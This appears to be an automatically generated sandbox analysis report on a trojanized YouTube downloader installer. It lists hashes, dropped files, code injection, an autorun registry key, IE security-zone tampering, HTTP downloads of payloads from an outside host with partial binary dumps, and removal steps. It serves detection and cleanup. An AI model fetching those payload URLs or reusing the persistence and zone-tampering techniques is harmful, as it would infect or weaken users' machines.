Gen:Variant.MSILPerseus.1541 (B) (Emsisoft), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Malware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: a9e517aa61090eb94646b7f05a495f38
SHA1: 9b6b870676ba999a6757f5c5285010c4adf12c15
SHA256: 84be70a66433f93d749881d1e26251f30f6449565f5e66a87aca7deaf4c17ae1
SSDeep: 196608:3b5iKzrZLtAjzHSAxaQGGxRZDk0RnI1SXfgNaD8MIOfQy1 eUI8pVOnBLdJ:r5rlLifyA805wUuI1TIOj1iRGLd
Size: 11576832 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2015-11-17 20:56:26
Analyzed on: WindowsXP SP3 32-bit
Summary: Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Malware creates the following process(es):
u.exe:380
TempYouTubeVideoDownloaderPRO.exe:260
The Malware injects its code into the following process(es):
%original file name%.exe:580
setup.exe:436
Mutexes
The following mutexes were created/opened:
ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexShimCacheMutex
File activity
The process %original file name%.exe:580 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\setup.exe (67 bytes)
%Documents and Settings%\%current user%\Local Settings\TempYouTubeVideoDownloaderPRO.exe (83795 bytes)
The process setup.exe:436 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (44 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (121968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\u.exe (28184 bytes)
The Malware deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\u.exe (0 bytes)
The process TempYouTubeVideoDownloaderPRO.exe:260 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (11188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp\LangDLL.dll (5 bytes)
The Malware deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1.tmp (0 bytes)
Registry activity
The process %original file name%.exe:580 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 55 E0 6B 55 7D 19 B6 D6 4E 4E 96 32 6D E9 4C"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"setup.exe" = "setup"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1]
"TempYouTubeVideoDownloaderPRO.exe" = "YTD Video Downloader PRO"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Personal" = "%Documents and Settings%\%current user%\My Documents"
To automatically run itself each time Windows is booted, the Malware adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Startup" = "C:\Windows\system\taskhost.exe"
The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process setup.exe:436 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 44 0C 7B 3E 03 E4 14 AE 8D C5 25 3A 82 F5 25"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"u.exe" = "7-Zip Console"
The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process u.exe:380 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 5C EF 29 53 DF 4F B7 0D 72 78 BC 62 CC 78 90"
The process TempYouTubeVideoDownloaderPRO.exe:260 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5B 43 11 23 A1 81 CC EC 51 91 21 6C AD 9C 5D 9D"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
Dropped PE files
MD5 | File path |
---|---|
2a731ea50c2c179e897bf9c0bb542b44 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\TempYouTubeVideoDownloaderPRO.exe |
a1cd3f159ef78d9ace162f067b544fd9 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsp3.tmp\LangDLL.dll |
7d2127944e668cebb435da10e75282bd | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\setup.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
u.exe:380
TempYouTubeVideoDownloaderPRO.exe:260 - Delete the original Malware file.
- Delete or disinfect the following files created/modified by the Malware:
%Documents and Settings%\%current user%\Local Settings\Temp\setup.exe (67 bytes)
%Documents and Settings%\%current user%\Local Settings\TempYouTubeVideoDownloaderPRO.exe (83795 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (44 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (121968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\u.exe (28184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (11188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp\LangDLL.dll (5 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Startup" = "C:\Windows\system\taskhost.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: GreenTree Applications SRL
Product Name:
Product Version: 3.0.19.0
Legal Copyright: Copyright (c) 2007-2015 GreenTree Applications SRL
Legal Trademarks:
Original Filename: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exe
Internal Name: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exe
File Version: 3.0.19.0
File Description: YTD Video Downloader PRO
Comments: YTD Video Downloader PRO
Language: English (United States)
Company Name: GreenTree Applications SRLProduct Name: Product Version: 3.0.19.0Legal Copyright: Copyright (c) 2007-2015 GreenTree Applications SRLLegal Trademarks: Original Filename: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exeInternal Name: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exeFile Version: 3.0.19.0File Description: YTD Video Downloader PROComments: YTD Video Downloader PROLanguage: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 8192 | 11561108 | 11561472 | 5.54516 | b41e5a9160955cdf8ff883a65074dbcb |
.rsrc | 11575296 | 14040 | 14336 | 3.44947 | e8ada84ab0fb5a2cfb5f48b0e771a176 |
.reloc | 11591680 | 12 | 512 | 0.070639 | d72a5946e8b4c39fcafff33ca3a59ff7 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://appsmobilevn.com/tompan/soft/u.exe | 192.185.91.40 |
hxxp://appsmobilevn.com/tompan/soft/7z.dll | 192.185.91.40 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /tompan/soft/u.exe HTTP/1.1
Host: appsmobilevn.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.8.1
Date: Wed, 17 Feb 2016 03:13:34 GMT
Content-Type: application/x-msdownload
Content-Length: 261632
Connection: keep-alive
Last-Modified: Sat, 09 Jan 2016 19:28:15 GMT
Accept-Ranges: bytes
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J... r.. r.. r..7~.. r..4y.. r.B7|.. r..4x.. r..4v.. r.O#-.. r.. s.S r.B#/.. r...y.. r...x.. r..S... r..-t.. r.Rich. r.........PE..L....e}U........../......F..........6........`....@..........................P..................................................x....@..(............................................................................`...............................text....E.......F.................. ..`.rdata.......`.......J..............@..@.data....(..........................@....rsrc...(....@......................@..@........................................................................................................................................................................................................................................................................................................................................................................S.\$.UV....3.W.E. L$..M.3.f.....K.f..9N.v=..f..xf= .t.f=..u..|$..t2f=".u..|$......D$...P...*...3.G;~.r.3.;._^][...........Dx.P.....3.....V...F.;F.u.......F...f.T$.f..Af.dA..@.F...^....X.C........$VQ...M.......e...M.......M..............M..Y....M..E...M....E..U.P.M..E.........t..E...P......}..t$.E..M.P.r....u.......u..e...x...YY...u..l....u..d....u..\....M....d......^.....C......QSVW.}...3..u..>.^..^..^..^..N..].......N .E...........E.........P.....Y.E.;..E..t.hY.@.h..@..X.Wj.S.8......M..^..._^[d.........
<<< skipped >>>
GET /tompan/soft/7z.dll HTTP/1.1
Host: appsmobilevn.com
HTTP/1.1 200 OK
Server: nginx/1.8.1
Date: Wed, 17 Feb 2016 03:13:35 GMT
Content-Type: application/x-msdownload
Content-Length: 1010176
Connection: keep-alive
Last-Modified: Sat, 09 Jan 2016 19:28:15 GMT
Accept-Ranges: bytes
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........n...=...=...=...=...=v..=...=...=...=...=...={..=...=...=...=v..=...=...=>..=.#.=...=.#$=...=2..=...=...=...=Rich...=........................PE..L....h}U...........!.................3....................................... .......................................n..y...th..d........{......................Xq......................................................<............................text............................... ..`.rdata..Y...........................@..@.data... {...........`..............@....sxdata..............j..............@....rsrc....{.......|...l..............@..@.reloc..(...........................@..B........................................................................................................................................................................................................................................................................................A..D$....u..A.. ..........u.........A......u........u.2...U..S3.9].VWv/.}..u..?.u.f.>.u'.E..v..H........t.C......;].r.3._^[]....W.......@.....D$..H......T$.V.t$.h.....t$..N..V..F.^....D$..L$..@........j.X.....:...'...Qh......!..Y...M.3.;..E.t.......M.d........V..j..F......f...N....p....F.`..........^.U..V.u.j.hLr...u..&...........t.j.h8#...u...........u..E......P...#....@.3.....@..^].........@.....D...D$.VW..j..&..f...f.._;..F..F..s..............t..f...~..._^...SV..W.~..uU.F..N.;.u&
<<< skipped >>>
Map
The Malware connects to the servers at the folowing location(s):
Strings from Dumps
TempYouTubeVideoDownloaderPRO.exe_260:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
@.reloc
@.reloc
RegDeleteKeyExW
RegDeleteKeyExW
Kernel32.DLL
Kernel32.DLL
PSAPI.DLL
PSAPI.DLL
%s=%s
%s=%s
GetWindowsDirectoryW
GetWindowsDirectoryW
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
GetAsyncKeyState
GetAsyncKeyState
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationW
SHFileOperationW
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
RegDeleteKeyW
RegDeleteKeyW
RegCloseKey
RegCloseKey
RegEnumKeyW
RegEnumKeyW
RegOpenKeyExW
RegOpenKeyExW
RegCreateKeyExW
RegCreateKeyExW
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
;-9}yL
;-9}yL
yH#.gm-
yH#.gm-
KY2O%sx
KY2O%sx
%sX ~
%sX ~
LangDLL.dll
LangDLL.dll
MoreInfo.dll
MoreInfo.dll
t:\untgz\MoreInfo\SRC\Release\MoreInfo.pdb
t:\untgz\MoreInfo\SRC\Release\MoreInfo.pdb
`.data
`.data
.reloc
.reloc
FindProcDLL.dll
FindProcDLL.dll
w7tbp.dll
w7tbp.dll
aRGQ>)]I.hR2qZ6zd>
aRGQ>)]I.hR2qZ6zd>
ZJ?Q>)K9'G5ô$D2#L
ZJ?Q>)K9'G5ô$D2#L
Ybk%C
Ybk%C
%s.eT
%s.eT
%xuM-
%xuM-
133336633
133336633
0153668886663311
0153668886663311
1536888
1536888
;886631 ~
;886631 ~
113688;
113688;
86351 ($
86351 ($
>1367631%
>1367631%
Nullsoft Install System v2.46
Nullsoft Install System v2.46
logging set to %d
logging set to %d
settings logging to %d
settings logging to %d
created uninstaller: %d, "%s"
created uninstaller: %d, "%s"
WriteReg: error creating key "%s\%s"
WriteReg: error creating key "%s\%s"
WriteReg: error writing into "%s\%s" "%s"
WriteReg: error writing into "%s\%s" "%s"
WriteRegBin: "%s\%s" "%s"="%s"
WriteRegBin: "%s\%s" "%s"="%s"
WriteRegDWORD: "%s\%s" "%s"="0xx"
WriteRegDWORD: "%s\%s" "%s"="0xx"
WriteRegExpandStr: "%s\%s" "%s"="%s"
WriteRegExpandStr: "%s\%s" "%s"="%s"
WriteRegStr: "%s\%s" "%s"="%s"
WriteRegStr: "%s\%s" "%s"="%s"
DeleteRegKey: "%s\%s"
DeleteRegKey: "%s\%s"
DeleteRegValue: "%s\%s" "%s"
DeleteRegValue: "%s\%s" "%s"
WriteINIStr: wrote [%s] %s=%s in %s
WriteINIStr: wrote [%s] %s=%s in %s
CopyFiles "%s"->"%s"
CopyFiles "%s"->"%s"
CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
Error registering DLL: Could not load %s
Error registering DLL: Could not load %s
Error registering DLL: %s not found in %s
Error registering DLL: %s not found in %s
GetTTFFontName(%s) returned %s
GetTTFFontName(%s) returned %s
GetTTFVersionString(%s) returned %s
GetTTFVersionString(%s) returned %s
Exec: failed createprocess ("%s")
Exec: failed createprocess ("%s")
Exec: success ("%s")
Exec: success ("%s")
Exec: command="%s"
Exec: command="%s"
ExecShell: success ("%s": file:"%s" params:"%s")
ExecShell: success ("%s": file:"%s" params:"%s")
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
Exch: stack
Exch: stack
RMDir: "%s"
RMDir: "%s"
MessageBox: %d,"%s"
MessageBox: %d,"%s"
Delete: "%s"
Delete: "%s"
File: wrote %d to "%s"
File: wrote %d to "%s"
File: skipped: "%s" (overwriteflag=%d)
File: skipped: "%s" (overwriteflag=%d)
File: error creating "%s"
File: error creating "%s"
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"
Rename failed: %s
Rename failed: %s
Rename on reboot: %s
Rename on reboot: %s
Rename: %s
Rename: %s
IfFileExists: file "%s" does not exist, jumping %d
IfFileExists: file "%s" does not exist, jumping %d
IfFileExists: file "%s" exists, jumping %d
IfFileExists: file "%s" exists, jumping %d
CreateDirectory: "%s" created
CreateDirectory: "%s" created
CreateDirectory: can't create "%s" - a file already exists
CreateDirectory: can't create "%s" - a file already exists
CreateDirectory: can't create "%s" (err=%d)
CreateDirectory: can't create "%s" (err=%d)
CreateDirectory: "%s" (%d)
CreateDirectory: "%s" (%d)
SetFileAttributes: "%s":X
SetFileAttributes: "%s":X
Sleep(%d)
Sleep(%d)
detailprint: %s
detailprint: %s
Call: %d
Call: %d
Aborting: "%s"
Aborting: "%s"
Jump: %d
Jump: %d
verifying installer: %d%%
verifying installer: %d%%
unpacking data: %d%%
unpacking data: %d%%
... %d%%
... %d%%
hXXp://nsis.sf.net/NSIS_Error
hXXp://nsis.sf.net/NSIS_Error
~nsu.tmp
~nsu.tmp
install.log
install.log
%u.%u%s%s
%u.%u%s%s
Skipping section: "%s"
Skipping section: "%s"
Section: "%s"
Section: "%s"
New install of "%s" to "%s"
New install of "%s" to "%s"
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
*?|/":
*?|/":
invalid registry key
invalid registry key
HKEY_DYN_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_CURRENT_CONFIG
HKEY_PERFORMANCE_DATA
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
x%c
x%c
RMDir: RemoveDirectory failed("%s")
RMDir: RemoveDirectory failed("%s")
RMDir: RemoveDirectory on Reboot("%s")
RMDir: RemoveDirectory on Reboot("%s")
RMDir: RemoveDirectory("%s")
RMDir: RemoveDirectory("%s")
RMDir: RemoveDirectory invalid input("%s")
RMDir: RemoveDirectory invalid input("%s")
Delete: DeleteFile failed("%s")
Delete: DeleteFile failed("%s")
Delete: DeleteFile on Reboot("%s")
Delete: DeleteFile on Reboot("%s")
Delete: DeleteFile("%s")
Delete: DeleteFile("%s")
%s: failed opening file "%s"
%s: failed opening file "%s"
\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll
\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll
rPRO.exe"
rPRO.exe"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp
\StringFileInfo\XX\%s
\StringFileInfo\XX\%s
USER.EXE
USER.EXE
1.0.1.2
1.0.1.2
kernel32.dll
kernel32.dll
nsp3.tmp
nsp3.tmp
File: wrote 5120 to "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll"
File: wrote 5120 to "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll"
~1\Temp\nsp3.tmp\LangDLL.dll"
~1\Temp\nsp3.tmp\LangDLL.dll"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe"
"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe"
"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe"
\YTDPortable
\YTDPortable
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1
TempYouTubeVideoDownloaderPRO.exe
TempYouTubeVideoDownloaderPRO.exe
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp1.tmp
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp1.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe
PortableApps.comLocaleID%
PortableApps.comLocaleID%
hXXp://portablewares.blogspot.com/
hXXp://portablewares.blogspot.com/
5.0.0.4
5.0.0.4
YTDPortable_5.0.0.4_Multilingual.paf.exe
YTDPortable_5.0.0.4_Multilingual.paf.exe
PortableApps.comAppID
PortableApps.comAppID
YTDPortable
YTDPortable
PortableApps.comFormatVersion
PortableApps.comFormatVersion
3.0.19
3.0.19
PortableApps.comInstallerVersion
PortableApps.comInstallerVersion
3.0.19.0
3.0.19.0
Portable
Portable